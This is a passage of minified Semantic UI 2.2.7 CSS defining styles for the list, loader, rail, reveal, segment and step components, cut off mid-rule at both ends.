.list>.item,.ui.horizontal.celled.list>.item{border-top:none;border-left:1px solid rgba(34,36,38,.15);margin:0;padding-left:.5em;padding-right:.5em;line-height:.6}.ui.horizontal.celled.list .list>.item:last-child,.ui.horizontal.celled.list>.item:last-child{border-bottom:none;border-right:1px solid rgba(34,36,38,.15)}.ui.celled.inverted.list>.item,.ui.celled.inverted.list>.list{border-color:1px solid rgba(255,255,255,.1)}.ui.celled.inverted.horizontal.list .list>.item,.ui.celled.inverted.horizontal.list>.item{border-color:1px solid rgba(255,255,255,.1)}.ui.relaxed.list:not(.horizontal)>.item:not(:first-child){padding-top:.42857143em}.ui.relaxed.list:not(.horizontal)>.item:not(:last-child){padding-bottom:.42857143em}.ui.horizontal.relaxed.list .list>.item:not(:first-child),.ui.horizontal.relaxed.list>.item:not(:first-child){padding-left:1rem}.ui.horizontal.relaxed.list .list>.item:not(:last-child),.ui.horizontal.relaxed.list>.item:not(:last-child){padding-right:1rem}.ui[class*="very relaxed"].list:not(.horizontal)>.item:not(:first-child){padding-top:.85714286em}.ui[class*="very relaxed"].list:not(.horizontal)>.item:not(:last-child){padding-bottom:.85714286em}.ui.horizontal[class*="very relaxed"].list .list>.item:not(:first-child),.ui.horizontal[class*="very relaxed"].list>.item:not(:first-child){padding-left:1.5rem}.ui.horizontal[class*="very relaxed"].list .list>.item:not(:last-child),.ui.horizontal[class*="very relaxed"].list>.item:not(:last-child){padding-right:1.5rem}.ui.mini.list{font-size:.78571429em}.ui.tiny.list{font-size:.85714286em}.ui.small.list{font-size:.92857143em}.ui.list{font-size:1em}.ui.large.list{font-size:1.14285714em}.ui.big.list{font-size:1.28571429em}.ui.huge.list{font-size:1.42857143em}.ui.massive.list{font-size:1.71428571em}.ui.mini.horizontal.list .list>.item,.ui.mini.horizontal.list>.item{font-size:.78571429rem}.ui.tiny.horizontal.list .list>.item,.ui.tiny.horizontal.list>.item{font-size:.85714286rem}.ui.small.horizontal.list .list>.item,.ui.small.horizontal.list>.item{font-size:.92857143rem}.ui.horizontal.list .list>.item,.ui.horizontal.list>.item{font-size:1rem}.ui.large.horizontal.list .list>.item,.ui.large.horizontal.list>.item{font-size:1.14285714rem}.ui.big.horizontal.list .list>.item,.ui.big.horizontal.list>.item{font-size:1.28571429rem}.ui.huge.horizontal.list .list>.item,.ui.huge.horizontal.list>.item{font-size:1.42857143rem}.ui.massive.horizontal.list .list>.item,.ui.massive.horizontal.list>.item{font-size:1.71428571rem}/*! * # Semantic UI 2.2.7 - Loader * path_to_url * * * Released under the MIT license * path_to_url * */.ui.loader{display:none;position:absolute;top:50%;left:50%;margin:0;text-align:center;z-index:1000;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.ui.loader:before{position:absolute;content:'';top:0;left:50%;width:100%;height:100%;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loader:after{position:absolute;content:'';top:0;left:50%;width:100%;height:100%;-webkit-animation:loader .6s linear;animation:loader .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent}@-webkit-keyframes loader{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes loader{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.mini.loader:after,.ui.mini.loader:before{width:1rem;height:1rem;margin:0 0 0 -.5rem}.ui.tiny.loader:after,.ui.tiny.loader:before{width:1.14285714rem;height:1.14285714rem;margin:0 0 0 -.57142857rem}.ui.small.loader:after,.ui.small.loader:before{width:1.71428571rem;height:1.71428571rem;margin:0 0 0 -.85714286rem}.ui.loader:after,.ui.loader:before{width:2.28571429rem;height:2.28571429rem;margin:0 0 0 -1.14285714rem}.ui.large.loader:after,.ui.large.loader:before{width:3.42857143rem;height:3.42857143rem;margin:0 0 0 -1.71428571rem}.ui.big.loader:after,.ui.big.loader:before{width:3.71428571rem;height:3.71428571rem;margin:0 0 0 -1.85714286rem}.ui.huge.loader:after,.ui.huge.loader:before{width:4.14285714rem;height:4.14285714rem;margin:0 0 0 -2.07142857rem}.ui.massive.loader:after,.ui.massive.loader:before{width:4.57142857rem;height:4.57142857rem;margin:0 0 0 -2.28571429rem}.ui.dimmer .loader{display:block}.ui.dimmer .ui.loader{color:rgba(255,255,255,.9)}.ui.dimmer .ui.loader:before{border-color:rgba(255,255,255,.15)}.ui.dimmer .ui.loader:after{border-color:#fff transparent transparent}.ui.inverted.dimmer .ui.loader{color:rgba(0,0,0,.87)}.ui.inverted.dimmer .ui.loader:before{border-color:rgba(0,0,0,.1)}.ui.inverted.dimmer .ui.loader:after{border-color:#767676 transparent transparent}.ui.text.loader{width:auto!important;height:auto!important;text-align:center;font-style:normal}.ui.indeterminate.loader:after{-webkit-animation-direction:reverse;animation-direction:reverse;-webkit-animation-duration:1.2s;animation-duration:1.2s}.ui.loader.active,.ui.loader.visible{display:block}.ui.loader.disabled,.ui.loader.hidden{display:none}.ui.inverted.dimmer .ui.mini.loader,.ui.mini.loader{width:1rem;height:1rem;font-size:.78571429em}.ui.inverted.dimmer .ui.tiny.loader,.ui.tiny.loader{width:1.14285714rem;height:1.14285714rem;font-size:.85714286em}.ui.inverted.dimmer .ui.small.loader,.ui.small.loader{width:1.71428571rem;height:1.71428571rem;font-size:.92857143em}.ui.inverted.dimmer .ui.loader,.ui.loader{width:2.28571429rem;height:2.28571429rem;font-size:1em}.ui.inverted.dimmer .ui.large.loader,.ui.large.loader{width:3.42857143rem;height:3.42857143rem;font-size:1.14285714em}.ui.big.loader,.ui.inverted.dimmer .ui.big.loader{width:3.71428571rem;height:3.71428571rem;font-size:1.28571429em}.ui.huge.loader,.ui.inverted.dimmer .ui.huge.loader{width:4.14285714rem;height:4.14285714rem;font-size:1.42857143em}.ui.inverted.dimmer .ui.massive.loader,.ui.massive.loader{width:4.57142857rem;height:4.57142857rem;font-size:1.71428571em}.ui.mini.text.loader{min-width:1rem;padding-top:1.78571429rem}.ui.tiny.text.loader{min-width:1.14285714rem;padding-top:1.92857143rem}.ui.small.text.loader{min-width:1.71428571rem;padding-top:2.5rem}.ui.text.loader{min-width:2.28571429rem;padding-top:3.07142857rem}.ui.large.text.loader{min-width:3.42857143rem;padding-top:4.21428571rem}.ui.big.text.loader{min-width:3.71428571rem;padding-top:4.5rem}.ui.huge.text.loader{min-width:4.14285714rem;padding-top:4.92857143rem}.ui.massive.text.loader{min-width:4.57142857rem;padding-top:5.35714286rem}.ui.inverted.loader{color:rgba(255,255,255,.9)}.ui.inverted.loader:before{border-color:rgba(255,255,255,.15)}.ui.inverted.loader:after{border-top-color:#fff}.ui.inline.loader{position:relative;vertical-align:middle;margin:0;left:0;top:0;-webkit-transform:none;transform:none}.ui.inline.loader.active,.ui.inline.loader.visible{display:inline-block}.ui.centered.inline.loader.active,.ui.centered.inline.loader.visible{display:block;margin-left:auto;margin-right:auto}/*! * # Semantic UI 2.2.7 - Rail * path_to_url * * * Released under the MIT license * path_to_url * */.ui.rail{position:absolute;top:0;width:300px;height:100%}.ui.left.rail{left:auto;right:100%;padding:0 2rem 0 0;margin:0 2rem 0 0}.ui.right.rail{left:100%;right:auto;padding:0 0 0 2rem;margin:0 0 0 2rem}.ui.left.internal.rail{left:0;right:auto;padding:0 0 0 2rem;margin:0 0 0 2rem}.ui.right.internal.rail{left:auto;right:0;padding:0 2rem 0 0;margin:0 2rem 0 0}.ui.dividing.rail{width:302.5px}.ui.left.dividing.rail{padding:0 2.5rem 0 0;margin:0 2.5rem 0 0;border-right:1px solid rgba(34,36,38,.15)}.ui.right.dividing.rail{border-left:1px solid rgba(34,36,38,.15);padding:0 0 0 2.5rem;margin:0 0 0 2.5rem}.ui.close.rail{width:calc(300px + 1em)}.ui.close.left.rail{padding:0 1em 0 0;margin:0 1em 0 0}.ui.close.right.rail{padding:0 0 0 1em;margin:0 0 0 1em}.ui.very.close.rail{width:calc(300px + .5em)}.ui.very.close.left.rail{padding:0 .5em 0 0;margin:0 .5em 0 0}.ui.very.close.right.rail{padding:0 0 0 .5em;margin:0 0 0 .5em}.ui.attached.left.rail,.ui.attached.right.rail{padding:0;margin:0}.ui.mini.rail{font-size:.78571429rem}.ui.tiny.rail{font-size:.85714286rem}.ui.small.rail{font-size:.92857143rem}.ui.rail{font-size:1rem}.ui.large.rail{font-size:1.14285714rem}.ui.big.rail{font-size:1.28571429rem}.ui.huge.rail{font-size:1.42857143rem}.ui.massive.rail{font-size:1.71428571rem}/*! * # Semantic UI 2.2.7 - Reveal * path_to_url * * * Released under the MIT license * path_to_url * */.ui.reveal{display:inherit;position:relative!important;font-size:0!important}.ui.reveal>.visible.content{position:absolute!important;top:0!important;left:0!important;z-index:3!important;-webkit-transition:all .5s ease .1s;transition:all .5s ease .1s}.ui.reveal>.hidden.content{position:relative!important;z-index:2!important}.ui.active.reveal .visible.content,.ui.reveal:hover .visible.content{z-index:4!important}.ui.slide.reveal{position:relative!important;overflow:hidden!important;white-space:nowrap}.ui.slide.reveal>.content{display:block;width:100%;float:left;margin:0;-webkit-transition:-webkit-transform .5s ease .1s;transition:-webkit-transform .5s ease .1s;transition:transform .5s ease .1s;transition:transform .5s ease .1s,-webkit-transform .5s ease .1s}.ui.slide.reveal>.visible.content{position:relative!important}.ui.slide.reveal>.hidden.content{position:absolute!important;left:0!important;width:100%!important;-webkit-transform:translateX(100%)!important;transform:translateX(100%)!important}.ui.slide.active.reveal>.visible.content,.ui.slide.reveal:hover>.visible.content{-webkit-transform:translateX(-100%)!important;transform:translateX(-100%)!important}.ui.slide.active.reveal>.hidden.content,.ui.slide.reveal:hover>.hidden.content{-webkit-transform:translateX(0)!important;transform:translateX(0)!important}.ui.slide.right.reveal>.visible.content{-webkit-transform:translateX(0)!important;transform:translateX(0)!important}.ui.slide.right.reveal>.hidden.content{-webkit-transform:translateX(-100%)!important;transform:translateX(-100%)!important}.ui.slide.right.active.reveal>.visible.content,.ui.slide.right.reveal:hover>.visible.content{-webkit-transform:translateX(100%)!important;transform:translateX(100%)!important}.ui.slide.right.active.reveal>.hidden.content,.ui.slide.right.reveal:hover>.hidden.content{-webkit-transform:translateX(0)!important;transform:translateX(0)!important}.ui.slide.up.reveal>.hidden.content{-webkit-transform:translateY(100%)!important;transform:translateY(100%)!important}.ui.slide.up.active.reveal>.visible.content,.ui.slide.up.reveal:hover>.visible.content{-webkit-transform:translateY(-100%)!important;transform:translateY(-100%)!important}.ui.slide.up.active.reveal>.hidden.content,.ui.slide.up.reveal:hover>.hidden.content{-webkit-transform:translateY(0)!important;transform:translateY(0)!important}.ui.slide.down.reveal>.hidden.content{-webkit-transform:translateY(-100%)!important;transform:translateY(-100%)!important}.ui.slide.down.active.reveal>.visible.content,.ui.slide.down.reveal:hover>.visible.content{-webkit-transform:translateY(100%)!important;transform:translateY(100%)!important}.ui.slide.down.active.reveal>.hidden.content,.ui.slide.down.reveal:hover>.hidden.content{-webkit-transform:translateY(0)!important;transform:translateY(0)!important}.ui.fade.reveal>.visible.content{opacity:1}.ui.fade.active.reveal>.visible.content,.ui.fade.reveal:hover>.visible.content{opacity:0}.ui.move.reveal{position:relative!important;overflow:hidden!important;white-space:nowrap}.ui.move.reveal>.content{display:block;float:left;margin:0;-webkit-transition:-webkit-transform .5s cubic-bezier(.175,.885,.32,1) .1s;transition:-webkit-transform .5s cubic-bezier(.175,.885,.32,1) .1s;transition:transform .5s cubic-bezier(.175,.885,.32,1) .1s;transition:transform .5s cubic-bezier(.175,.885,.32,1) .1s,-webkit-transform .5s cubic-bezier(.175,.885,.32,1) .1s}.ui.move.reveal>.visible.content{position:relative!important}.ui.move.reveal>.hidden.content{position:absolute!important;left:0!important;width:100%!important}.ui.move.active.reveal>.visible.content,.ui.move.reveal:hover>.visible.content{-webkit-transform:translateX(-100%)!important;transform:translateX(-100%)!important}.ui.move.right.active.reveal>.visible.content,.ui.move.right.reveal:hover>.visible.content{-webkit-transform:translateX(100%)!important;transform:translateX(100%)!important}.ui.move.up.active.reveal>.visible.content,.ui.move.up.reveal:hover>.visible.content{-webkit-transform:translateY(-100%)!important;transform:translateY(-100%)!important}.ui.move.down.active.reveal>.visible.content,.ui.move.down.reveal:hover>.visible.content{-webkit-transform:translateY(100%)!important;transform:translateY(100%)!important}.ui.rotate.reveal>.visible.content{-webkit-transition-duration:.5s;transition-duration:.5s;-webkit-transform:rotate(0);transform:rotate(0)}.ui.rotate.reveal>.visible.content,.ui.rotate.right.reveal>.visible.content{-webkit-transform-origin:bottom right;transform-origin:bottom right}.ui.rotate.active.reveal>.visible.content,.ui.rotate.reveal:hover>.visible.content,.ui.rotate.right.active.reveal>.visible.content,.ui.rotate.right.reveal:hover>.visible.content{-webkit-transform:rotate(110deg);transform:rotate(110deg)}.ui.rotate.left.reveal>.visible.content{-webkit-transform-origin:bottom left;transform-origin:bottom left}.ui.rotate.left.active.reveal>.visible.content,.ui.rotate.left.reveal:hover>.visible.content{-webkit-transform:rotate(-110deg);transform:rotate(-110deg)}.ui.disabled.reveal:hover>.visible.visible.content{position:static!important;display:block!important;opacity:1!important;top:0!important;left:0!important;right:auto!important;bottom:auto!important;-webkit-transform:none!important;transform:none!important}.ui.disabled.reveal:hover>.hidden.hidden.content{display:none!important}.ui.visible.reveal{overflow:visible}.ui.instant.reveal>.content{-webkit-transition-delay:0s!important;transition-delay:0s!important}.ui.reveal>.content{font-size:1rem!important}/*! * # Semantic UI 2.2.7 - Segment * path_to_url * * * Released under the MIT license * path_to_url * */.ui.segment{position:relative;background:#fff;box-shadow:0 1px 2px 0 rgba(34,36,38,.15);margin:1rem 0;padding:1em 1em;border-radius:.28571429rem;border:1px solid rgba(34,36,38,.15)}.ui.segment:first-child{margin-top:0}.ui.segment:last-child{margin-bottom:0}.ui.vertical.segment{margin:0;padding-left:0;padding-right:0;background:none transparent;border-radius:0;box-shadow:none;border:none;border-bottom:1px solid rgba(34,36,38,.15)}.ui.vertical.segment:last-child{border-bottom:none}.ui.inverted.segment>.ui.header{color:#fff}.ui[class*="bottom attached"].segment>[class*="top attached"].label{border-top-left-radius:0;border-top-right-radius:0}.ui[class*="top attached"].segment>[class*="bottom attached"].label{border-bottom-left-radius:0;border-bottom-right-radius:0}.ui.attached.segment:not(.top):not(.bottom)>[class*="top attached"].label{border-top-left-radius:0;border-top-right-radius:0}.ui.attached.segment:not(.top):not(.bottom)>[class*="bottom attached"].label{border-bottom-left-radius:0;border-bottom-right-radius:0}.ui.grid>.row>.ui.segment.column,.ui.grid>.ui.segment.column,.ui.page.grid.segment{padding-top:2em;padding-bottom:2em}.ui.grid.segment{margin:1rem 0;border-radius:.28571429rem}.ui.basic.table.segment{background:#fff;border:1px solid rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15)}.ui[class*="very basic"].table.segment{padding:1em 1em}.ui.piled.segment,.ui.piled.segments{margin:3em 0;box-shadow:'';z-index:auto}.ui.piled.segment:first-child{margin-top:0}.ui.piled.segment:last-child{margin-bottom:0}.ui.piled.segment:after,.ui.piled.segment:before,.ui.piled.segments:after,.ui.piled.segments:before{background-color:#fff;visibility:visible;content:'';display:block;height:100%;left:0;position:absolute;width:100%;border:1px solid rgba(34,36,38,.15);box-shadow:''}.ui.piled.segment:before,.ui.piled.segments:before{-webkit-transform:rotate(-1.2deg);transform:rotate(-1.2deg);top:0;z-index:-2}.ui.piled.segment:after,.ui.piled.segments:after{-webkit-transform:rotate(1.2deg);transform:rotate(1.2deg);top:0;z-index:-1}.ui[class*="top attached"].piled.segment{margin-top:3em;margin-bottom:0}.ui.piled.segment[class*="top attached"]:first-child{margin-top:0}.ui.piled.segment[class*="bottom attached"]{margin-top:0;margin-bottom:3em}.ui.piled.segment[class*="bottom attached"]:last-child{margin-bottom:0}.ui.stacked.segment{padding-bottom:1.4em}.ui.stacked.segment:after,.ui.stacked.segment:before,.ui.stacked.segments:after,.ui.stacked.segments:before{content:'';position:absolute;bottom:-3px;left:0;border-top:1px solid rgba(34,36,38,.15);background:rgba(0,0,0,.03);width:100%;height:6px;visibility:visible}.ui.stacked.segment:before,.ui.stacked.segments:before{display:none}.ui.tall.stacked.segment:before,.ui.tall.stacked.segments:before{display:block;bottom:0}.ui.stacked.inverted.segment:after,.ui.stacked.inverted.segment:before,.ui.stacked.inverted.segments:after,.ui.stacked.inverted.segments:before{background-color:rgba(0,0,0,.03);border-top:1px solid rgba(34,36,38,.35)}.ui.padded.segment{padding:1.5em}.ui[class*="very padded"].segment{padding:3em}.ui.compact.segment{display:table}.ui.compact.segments{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex}.ui.compact.segments .segment,.ui.segments .compact.segment{display:block;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto}.ui.circular.segment{display:table-cell;padding:2em;text-align:center;vertical-align:middle;border-radius:500em}.ui.raised.segment,.ui.raised.segments{box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.segments{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;position:relative;margin:1rem 0;border:1px solid rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15);border-radius:.28571429rem}.ui.segments:first-child{margin-top:0}.ui.segments:last-child{margin-bottom:0}.ui.segments>.segment{top:0;bottom:0;border-radius:0;margin:0;width:auto;box-shadow:none;border:none;border-top:1px solid rgba(34,36,38,.15)}.ui.segments:not(.horizontal)>.segment:first-child{border-top:none;margin-top:0;bottom:0;margin-bottom:0;top:0;border-radius:.28571429rem .28571429rem 0 0}.ui.segments:not(.horizontal)>.segment:last-child{top:0;bottom:0;margin-top:0;margin-bottom:0;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;border-radius:0 0 .28571429rem .28571429rem}.ui.segments:not(.horizontal)>.segment:only-child{border-radius:.28571429rem}.ui.segments>.ui.segments{border-top:1px solid rgba(34,36,38,.15);margin:1rem 1rem}.ui.segments>.segments:first-child{border-top:none}.ui.segments>.segment+.segments:not(.horizontal){margin-top:0}.ui.horizontal.segments{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;background-color:transparent;border-radius:0;padding:0;background-color:#fff;box-shadow:0 1px 2px 0 rgba(34,36,38,.15);margin:1rem 0;border-radius:.28571429rem;border:1px solid rgba(34,36,38,.15)}.ui.segments>.horizontal.segments{margin:0;background-color:transparent;border-radius:0;border:none;box-shadow:none;border-top:1px solid rgba(34,36,38,.15)}.ui.horizontal.segments>.segment{-webkit-box-flex:1;flex:1 1 auto;-ms-flex:1 1 0px;margin:0;min-width:0;background-color:transparent;border-radius:0;border:none;box-shadow:none;border-left:1px solid rgba(34,36,38,.15)}.ui.segments>.horizontal.segments:first-child{border-top:none}.ui.horizontal.segments>.segment:first-child{border-left:none}.ui.disabled.segment{opacity:.45;color:rgba(40,40,40,.3)}.ui.loading.segment{position:relative;cursor:default;pointer-events:none;text-shadow:none!important;color:transparent!important;-webkit-transition:all 0s linear;transition:all 0s linear}.ui.loading.segment:before{position:absolute;content:'';top:0;left:0;background:rgba(255,255,255,.8);width:100%;height:100%;border-radius:.28571429rem;z-index:100}.ui.loading.segment:after{position:absolute;content:'';top:50%;left:50%;margin:-1.5em 0 0 -1.5em;width:3em;height:3em;-webkit-animation:segment-spin .6s linear;animation:segment-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.1);border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent;visibility:visible;z-index:101}@-webkit-keyframes segment-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes segment-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.basic.segment{background:none transparent;box-shadow:none;border:none;border-radius:0}.ui.clearing.segment:after{content:".";display:block;height:0;clear:both;visibility:hidden}.ui.red.segment:not(.inverted){border-top:2px solid #db2828}.ui.inverted.red.segment{background-color:#db2828!important;color:#fff!important}.ui.orange.segment:not(.inverted){border-top:2px solid #f2711c}.ui.inverted.orange.segment{background-color:#f2711c!important;color:#fff!important}.ui.yellow.segment:not(.inverted){border-top:2px solid #fbbd08}.ui.inverted.yellow.segment{background-color:#fbbd08!important;color:#fff!important}.ui.olive.segment:not(.inverted){border-top:2px solid #b5cc18}.ui.inverted.olive.segment{background-color:#b5cc18!important;color:#fff!important}.ui.green.segment:not(.inverted){border-top:2px solid #21ba45}.ui.inverted.green.segment{background-color:#21ba45!important;color:#fff!important}.ui.teal.segment:not(.inverted){border-top:2px solid #00b5ad}.ui.inverted.teal.segment{background-color:#00b5ad!important;color:#fff!important}.ui.blue.segment:not(.inverted){border-top:2px solid #2185d0}.ui.inverted.blue.segment{background-color:#2185d0!important;color:#fff!important}.ui.violet.segment:not(.inverted){border-top:2px solid #6435c9}.ui.inverted.violet.segment{background-color:#6435c9!important;color:#fff!important}.ui.purple.segment:not(.inverted){border-top:2px solid #a333c8}.ui.inverted.purple.segment{background-color:#a333c8!important;color:#fff!important}.ui.pink.segment:not(.inverted){border-top:2px solid #e03997}.ui.inverted.pink.segment{background-color:#e03997!important;color:#fff!important}.ui.brown.segment:not(.inverted){border-top:2px solid #a5673f}.ui.inverted.brown.segment{background-color:#a5673f!important;color:#fff!important}.ui.grey.segment:not(.inverted){border-top:2px solid #767676}.ui.inverted.grey.segment{background-color:#767676!important;color:#fff!important}.ui.black.segment:not(.inverted){border-top:2px solid #1b1c1d}.ui.inverted.black.segment{background-color:#1b1c1d!important;color:#fff!important}.ui[class*="left aligned"].segment{text-align:left}.ui[class*="right aligned"].segment{text-align:right}.ui[class*="center aligned"].segment{text-align:center}.ui.floated.segment,.ui[class*="left floated"].segment{float:left;margin-right:1em}.ui[class*="right floated"].segment{float:right;margin-left:1em}.ui.inverted.segment{border:none;box-shadow:none}.ui.inverted.segment,.ui.primary.inverted.segment{background:#1b1c1d;color:rgba(255,255,255,.9)}.ui.inverted.segment .segment{color:rgba(0,0,0,.87)}.ui.inverted.segment .inverted.segment{color:rgba(255,255,255,.9)}.ui.inverted.attached.segment{border-color:#555}.ui.secondary.segment{background:#f3f4f5;color:rgba(0,0,0,.6)}.ui.secondary.inverted.segment{background:#4c4f52 -webkit-linear-gradient(rgba(255,255,255,.2) 0,rgba(255,255,255,.2) 100%);background:#4c4f52 linear-gradient(rgba(255,255,255,.2) 0,rgba(255,255,255,.2) 100%);color:rgba(255,255,255,.8)}.ui.tertiary.segment{background:#dcddde;color:rgba(0,0,0,.6)}.ui.tertiary.inverted.segment{background:#717579 -webkit-linear-gradient(rgba(255,255,255,.35) 0,rgba(255,255,255,.35) 100%);background:#717579 linear-gradient(rgba(255,255,255,.35) 0,rgba(255,255,255,.35) 100%);color:rgba(255,255,255,.8)}.ui.attached.segment{top:0;bottom:0;border-radius:0;margin:0 -1px;width:calc(100% + 2px);max-width:calc(100% + 2px);box-shadow:none;border:1px solid #d4d4d5}.ui.attached:not(.message)+.ui.attached.segment:not(.top){border-top:none}.ui[class*="top attached"].segment{bottom:0;margin-bottom:0;top:0;margin-top:1rem;border-radius:.28571429rem .28571429rem 0 0}.ui.segment[class*="top attached"]:first-child{margin-top:0}.ui.segment[class*="bottom attached"]{bottom:0;margin-top:0;top:0;margin-bottom:1rem;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;border-radius:0 0 .28571429rem .28571429rem}.ui.segment[class*="bottom attached"]:last-child{margin-bottom:0}.ui.mini.segment,.ui.mini.segments .segment{font-size:.78571429rem}.ui.tiny.segment,.ui.tiny.segments .segment{font-size:.85714286rem}.ui.small.segment,.ui.small.segments .segment{font-size:.92857143rem}.ui.segment,.ui.segments .segment{font-size:1rem}.ui.large.segment,.ui.large.segments .segment{font-size:1.14285714rem}.ui.big.segment,.ui.big.segments .segment{font-size:1.28571429rem}.ui.huge.segment,.ui.huge.segments .segment{font-size:1.42857143rem}.ui.massive.segment,.ui.massive.segments .segment{font-size:1.71428571rem}/*! * # Semantic UI 2.2.7 - Step * path_to_url * * * Released under the MIT license * path_to_url * */.ui.steps{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;margin:1em 0;background:'';box-shadow:none;line-height:1.14285714em;border-radius:.28571429rem;border:1px solid rgba(34,36,38,.15)}.ui.steps:first-child{margin-top:0}.ui.steps:last-child{margin-bottom:0}.ui.steps .step{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;vertical-align:middle;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;margin:0 0;padding:1.14285714em 2em;background:#fff;color:rgba(0,0,0,.87);box-shadow:none;border-radius:0;border:none;border-right:1px solid rgba(34,36,38,.15);-webkit-transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease;transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease}.ui.steps .step:after{display:none;position:absolute;z-index:2;content:'';top:50%;right:0;border:medium none;background-color:#fff;width:1.14285714em;height:1.14285714em;border-style:solid;border-color:rgba(34,36,38,.15);border-width:0 1px 1px 0;-webkit-transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease;transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease;-webkit-transform:translateY(-50%) translateX(50%) rotate(-45deg);transform:translateY(-50%) translateX(50%) rotate(-45deg)}.ui.steps .step:first-child{padding-left:2em;border-radius:.28571429rem 0 0 .28571429rem}.ui.steps .step:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.steps .step:last-child{border-right:none;margin-right:0}.ui.steps .step:only-child{border-radius:.28571429rem}.ui.steps .step .title{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1.14285714em;font-weight:700}.ui.steps .step>.title{width:100%}.ui.steps .step .description{font-weight:400;font-size:.92857143em;color:rgba(0,0,0,.87)}.ui.steps .step>.description{width:100%}.ui.steps .step .title~.description{margin-top:.25em}.ui.steps .step>.icon{line-height:1;font-size:2.5em;margin:0 1rem 0 0}.ui.steps .step>.icon,.ui.steps .step>.icon~.content{display:block;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;-ms-flex-item-align:middle;-ms-grid-row-align:middle;align-self:middle}.ui.steps .step>.icon~.content{-webkit-box-flex:1 0 auto;-ms-flex-positive:1 0 auto;flex-grow:1 0 auto}.ui.steps:not(.vertical) .step>.icon{width:auto}.ui.steps .link.step,.ui.steps a.step{cursor:pointer}.ui.ordered.steps{counter-reset:ordered}.ui.ordered.steps .step:before{display:block;position:static;text-align:center;content:counters(ordered, ".");-ms-flex-item-align:middle;-ms-grid-row-align:middle;align-self:middle;margin-right:1rem;font-size:2.5em;counter-increment:ordered;font-family:inherit;font-weight:700}.ui.ordered.steps .step>*{display:block;-ms-flex-item-align:middle;-ms-grid-row-align:middle;align-self:middle}.ui.vertical.steps{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;overflow:visible}.ui.vertical.steps .step{-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start;border-radius:0;padding:1.14285714em 2em;border-right:none;border-bottom:1px solid rgba(34,36,38,.15)}.ui.vertical.steps .step:first-child{padding:1.14285714em 2em;border-radius:.28571429rem .28571429rem 0 0}.ui.vertical.steps .step:last-child{border-bottom:none;border-radius:0 0 .28571429rem .28571429rem}.ui.vertical.steps .step:only-child{border-radius:.28571429rem}.ui.vertical.steps .step:after{display:none}.ui.vertical.steps .step:after{top:50%;right:0;border-width:0 1px 1px 0}.ui.vertical.steps .step:after{display:none}.ui.vertical.steps .active.step:after{display:block}.ui.vertical.steps .step:last-child:after{display:none}.ui.vertical.steps .active.step:last-child:after{display:block}@media only screen and (max-width:767px){.ui.steps{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;overflow:visible;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.steps .step{width:100%!important;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;border-radius:0;padding:1.14285714em 2em}.ui.steps .step:first-child{padding:1.14285714em 2em;border-radius:.28571429rem .28571429rem 0 0}.ui.steps .step:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.steps .step:after{display:none!important}.ui.steps .step .content{text-align:center}.ui.ordered.steps .step:before,.ui.steps .step>.icon{margin:0 0 1rem 0}}.ui.steps .link.step:hover,.ui.steps .link.step:hover::after,.ui.steps a.step:hover,.ui.steps a.step:hover::after{background:#f9fafb;color:rgba(0,0,0,.8)}.ui.steps .link.step:active,.ui.steps .link.step:active::after,.ui.steps a.step:active,.ui.steps a.step:active::after{background:#f3f4f5;color:rgba(0,0,0,.9)}.ui.steps .step.active{cursor:auto;background:#f3f4f5}.ui.steps 